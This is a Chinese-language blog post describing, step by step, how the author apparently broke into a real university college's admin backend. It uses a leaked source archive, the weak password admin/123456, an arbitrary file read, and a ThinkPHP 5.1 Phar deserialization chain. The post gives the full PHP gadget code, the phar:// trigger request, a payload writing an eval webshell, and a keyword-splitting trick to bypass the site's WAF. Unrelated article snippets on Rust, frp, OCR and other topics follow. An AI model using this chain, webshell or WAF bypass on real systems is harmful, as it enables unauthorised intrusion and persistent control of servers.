某某大学某学院后台Phar反序列化GetShell
觉得这个洞还算有点意思,可以记录一下
首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS
分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架

通过APP、Public得到后台访问路径/bhadmin


后台登陆存在弱口令(弱口令真是永远滴神):admin/123456
分析源码,发现在System控制器下有一个showlog()方法

public function showlog(){$path = input('post.path','');if ($path == '') return json(0);if (!file_exists($path)) return json('文件不存在');$content = file_get_contents($path,false);return json($content);}
$path接收的是post传参,参数名是path,如果$path为空,返回为0,否则会检测该文件是否存在,如果存在则file_get_content()读取成json格式返回。input()方法功能如下:
if (!function_exists('input')) {/*** 获取输入数据 支持默认值和过滤* @param string $key 获取的变量名* @param mixed $default 默认值* @param string $filter 过滤方法* @return mixed*/function input($key = '', $default = null, $filter = ''){if (0 === strpos($key, '?')) {$key = substr($key, 1);$has = true;}if ($pos = strpos($key, '.')) {// 指定参数来源$method = substr($key, 0, $pos);if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {$key = substr($key, $pos + 1);} else {$method = 'param';}} else {// 默认为自动判断$method = 'param';}if (isset($has)) {return request()->has($key, $method, $default);} else {return request()->$method($key, $default, $filter);}}
}
showlog()方法参数可控,并且$path传入file_exists()、file_get_contents(),首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x在网上有很多公开的反序列化利用链。众所周知。Phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。
对Phar反序列化有不理解的可以参考我的这篇文章:由浅入深理解PHP反序列化漏洞
那么我们如果在后台传入一个构造好的phar文件,然后在$path的位置使用Phar://协议访问改文件,即可触发phar反序列化,showlog方法的访问路由:/bhadmin/system/showlog

然后需要找到一个上传点,并且能获取上传文件的绝对路径。

添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径

综上所述即可构造Phar反序列化GetShell,直接用网上公开的链子
<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct($function,$parameter){$this->data['smi1e'] = $parameter;$this->withAttr['smi1e'] = $function;}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function, $parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}
同目录下随便放一张名为pic.jpg的图片,运行该文件,将生成的test.phar修改后缀为test.jpg然后上传

回到showlog()方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

构造写入Shell
<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct(){$this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';$this->data['jelly'] = '<?php @eval($_POST[m]);?>';$this->withAttr['smi1e'] = 'file_put_contents';}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function,$parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

成功写入shell,但是蚁剑连接还是报错,猜测有waf

把蚁剑流量代理到Burp

测试发现确实是有WAF

但是经过多次测试发现这个waf比较友好,过滤了@、base64_decode关键字,可以绕过,base64_decode可以使用拼接绕过,@直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能

绕过waf之后即可成功连接shell


如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf

相关文章:
某某大学某学院后台Phar反序列化GetShell
觉得这个洞还算有点意思,可以记录一下 首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS 分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架 通过APP、Public得到后台访问路径…...
【ChatGPT辅助学Rust | 基础系列 | 基础语法】变量,数据类型,运算符,控制流
文章目录 简介:一,变量1,变量的定义2,变量的可变性3,变量的隐藏 二、数据类型1,标量类型2,复合类型 三,运算符1,算术运算符2,比较运算符3,逻辑运算…...
使用云服务器和Frp(快速反向代理)框架快速部署实现内网穿透
目录 一. 背景1.1 内网穿透1.2 Frp介绍1.3 Frp配置流程 二. 云服务器配置2.1 配置安全组2.2 编写frps.ini 三. 内网主机配置3.1 编辑frpc.ini文件3.2 启动服务并配置开机自启动 四. 参考文献 一. 背景 现在有一台ubuntu云服务器,我想通过内网穿透将一台内网的主机当…...
Mac 上使用 Tesseract OCR 识别图片文本
Tesseract OCR 引擎:Tesseract是一个开源的OCR引擎,你需要先安装它。可以从Tesseract官方网站(https://github.com/tesseract-ocr/tesseract)下载适用于你的操作系统的安装程序或源代码,并按照官方文档进行安装。 Tes…...
《MapboxGL 基础知识点》- 放大/缩小/定位/级别
中心点 getCenter:获取中心点 const {lng, lat} map.getCenter(); setCenter:设置中心点 // lng, lat map.setCenter([134, 28]); 缩放级别 getZoom:获取当前缩放级别 map.getZoom(); setZoom:设置缩放级别 map.setZoom(5…...
VScode的简单使用
一、VScode的安装 Visual Studio Code简称VS Code,是一款跨平台的、免费且开源的现代轻量级代码编辑器,支持几乎主流开发语言的语法高亮、智能代码补全、自定义快捷键、括号匹配和颜色区分、代码片段提示、代码对比等特性,也拥有对git的开箱…...
# Unity 如何获取Texture 的内存大小
Unity 如何获取Texture 的内存大小 在Unity中,要获取Texture的内存文件大小,可以使用UnityEditor.TextureUtil类中的一些函数。这些函数提供了获取存储内存大小和运行时内存大小的方法。由于UnityEditor.TextureUtil是一个内部类,我们需要使…...
dolphinscheduler switch+传参无坑版
dolphinscheduler 的前后传参有较多的坑,即便是3.0.5版本仍然有一些bug 下面是目前能无坑在3.0.5版本上使用的操作 前置任务 在界面上设置变量和参数名称 跟官方网站不一样,注意最后一行一定使用echo ${setValue(key$query)}的方式,注意引…...
VINS-fusion安装
VINS-fusion中用的opencv3,如果安装的opencv4要做一系列替换 VINS-Mono在opencv4环境下的安装问题和解决方法 https://zhuanlan.zhihu.com/p/548140724 Vins-Fusion安装记录 https://zhuanlan.zhihu.com/p/432167383 CV_FONT_HERSHEY_SIMPLEX -> cv::FONT_HER…...
智慧消防:如何基于视频与智能分析技术搭建可视化风险预警平台?
一、背景分析 消防安全是一个重要的话题,涉及到每个人的生活和安全。每年都会发生大量的火灾,给人们带来极大的危害,摧毁了大量的财产,甚至造成了可怕的人员伤亡。而消防安全监督管理部门人员有限,消防安全监管缺乏有…...
selenium定位元素的方法
Selenium可以驱动浏览器完成各种操作,比如模拟点击等。要想操作一个元素,首先应该识别这个元素。人有各种的特征(属性),我们可以通过其特征找到人,如通过身份证号、姓名、家庭住址。同理,一个元…...
RISC-V特权级别
特权级别 RISC-V共有6个特权级别: 机器模式(M模式) M模式全称为Machine mode(机器模式)运行在这个模式下的程序为最高权限,它属于RISC-V里的最高权限模式,它具有访问所有资源的权限ÿ…...
RISC-V 指令集介绍
1. 背景介绍 指令集从本质上可以分为复杂指令集(Complex Instruction Set Computer,CISC)和精简指令集(Reduced Instruction Set Computer,RISC)两种。复杂指令集的特点是能够在一条指令内完成很多事情。 指…...
操作系统5
设备管理 I/O设备 什么是?--- 将数据Input/Output(输入/输出)计算机的外部设备。 分类: 按使用特性:人机交互类外设、存储设备、网络通信设备; 按传输速度:低速、中速、高速设备࿱…...
K8S系列文章之 Docker常用命令
一、镜像基础命令: $ docker info # 查看docker信息 $ docker system df # 查看镜像/容器/数据卷所占的空间。 $ ip addr #查看容器内部网络地址。 $ docker images # 查看镜像 $ docker search 镜像名称 # 搜索镜像 --limit :只列出N个镜像,默认为25个…...
谷歌: 安卓补丁漏洞让 N-days 与 0-days 同样危险
近日,谷歌发布了年度零日漏洞报告,展示了 2022 年的野外漏洞统计数据,并强调了 Android 平台中长期存在的问题,该问题在很长一段时间内提高了已披露漏洞的价值和使用。 更具体地说,谷歌的报告强调了安卓系统中的 &quo…...
linux 学成之路(基础篇)(二十三)MySQL服务(下)
目录 一、用户权限管理概述 二、用户权限类型 三、用户赋予权限 四、删除权限 五、删除用户 一、用户权限管理概述 数据库用户权限管理是数据库系统中非常重要的一个方面,它用于控制不同用户访问和操作数据库的权限范围。数据库用户权限管理可以保护敏感数据和…...
MySQL初探
Background 通过阅读小林coding,大致了解了mysql数据库的种种特点,与之前学的数据库实现大体思路相同,感觉学习不能停留在理论层面,要调研生产级别的中间件实现。 一条代码运行在mysql上的流程 1. 连接的过程需要先经过 TCP 三次…...
blender 用蒙版添加材质
一、添加材质常规方法 选择物体新建材质,shift a 新建图像纹理,此时会发现添加上的纹理会有接缝,shift a 新建映射 纹理坐标,纹理坐标选择生成,此时,之前的接缝便会消失; 如何快捷添加纹理坐…...
前端面试的性能优化部分(2)每篇10题
1. 常见的图片格式及使用场景 常见的图片格式有 JPEG、PNG、GIF、WebP 和 SVG,它们各有适用的使用场景: JPEG (Joint Photographic Experts Group): 使用场景:适用于照片和真实场景的图片,特别是色彩丰富和渐变丰富的…...
告别卡顿!用EnhancedScroller优化Unity UI长列表的完整避坑指南
告别卡顿!用EnhancedScroller优化Unity UI长列表的完整避坑指南 在Unity开发中,处理大量数据的UI列表是常见的需求,但原生ScrollRect在面对成千上万条数据时往往力不从心。想象一下,当用户滑动一个包含数百个好友的社交列表时&am…...
小米设备集成终极测试指南:确保HomeAssistant稳定运行的7个关键步骤
小米设备集成终极测试指南:确保HomeAssistant稳定运行的7个关键步骤 【免费下载链接】hass-xiaomi-miot Automatic integrate all Xiaomi devices to HomeAssistant via miot-spec, support Wi-Fi, BLE, ZigBee devices. 小米米家智能家居设备接入Hass集成 项目地…...
别让SDF警告淹没你!芯片后仿真中那些‘不起眼’却至关重要的VCS编译选项详解
别让SDF警告淹没你!芯片后仿真中那些‘不起眼’却至关重要的VCS编译选项详解 当数字IC设计进入后仿真阶段,工程师们常常会陷入海量警告信息的泥潭。特别是当SDF(Standard Delay Format)文件反标时产生的各类警告,往往…...
OpenClaw备份与恢复:Kimi-VL-A3B-Thinking配置的安全迁移
OpenClaw备份与恢复:Kimi-VL-A3B-Thinking配置的安全迁移 1. 为什么需要关注OpenClaw配置备份 上周我的开发机突然硬盘故障,导致辛苦配置了两个月的OpenClaw环境全部丢失。最痛心的是那些精心调试的Kimi-VL-A3B-Thinking模型参数和对接配置——它们就像…...
从采购到回款:拆解华为IFS如何用PTP/OTC流程优化缩短30天账期
华为IFS流程再造实战:如何通过PTP/OTC优化实现账期缩短30天 在供应链金融和财务运营领域,账期管理一直是企业现金流健康的关键指标。全球领先企业华为通过其集成财务服务(IFS)变革,特别是在采购到付款(PTP&…...
DeerFlow部署全攻略:简单几步,打造你的专属AI研究工作站
DeerFlow部署全攻略:简单几步,打造你的专属AI研究工作站 1. 引言:你的个人深度研究助理来了 想象一下,你正在为一个复杂的项目做调研,需要收集资料、分析数据、撰写报告,甚至还要制作演示文稿。传统的方式…...
LumiPixel实战:快速生成高清像素人像,内置‘一键净化‘解决内存不足
LumiPixel实战:快速生成高清像素人像,内置一键净化解决内存不足 1. 认识LumiPixel:像素艺术的AI新生代 LumiPixel: Canvas Quest是一款融合了现代AI技术与复古像素美学的创意工具。它基于Z-Image扩散模型,专为生成高清像素风格人…...
Jable视频下载工具:高效解决方案与专业使用指南
Jable视频下载工具:高效解决方案与专业使用指南 【免费下载链接】jable-download 方便下载jable的小工具 项目地址: https://gitcode.com/gh_mirrors/ja/jable-download 问题诊断:视频下载的四大核心挑战 技术门槛障碍 传统视频下载工具往往需要…...
开源音乐解锁工具:浏览器端全平台音频解密解决方案
开源音乐解锁工具:浏览器端全平台音频解密解决方案 【免费下载链接】unlock-music 在浏览器中解锁加密的音乐文件。原仓库: 1. https://github.com/unlock-music/unlock-music ;2. https://git.unlock-music.dev/um/web 项目地址: https://…...
OpenClaw龙虾推出官方中国镜像站,由字节跳动提供支持
文章目录前言龙虾是谁?为啥它搞个镜像站这么重要?中国镜像站来了:地址是 mirror-cn.clawhub.com背后的故事:腾讯、字节、龙虾的"三国演义"镜像站的意义:不只是个"加速器"怎么用?手把手…...
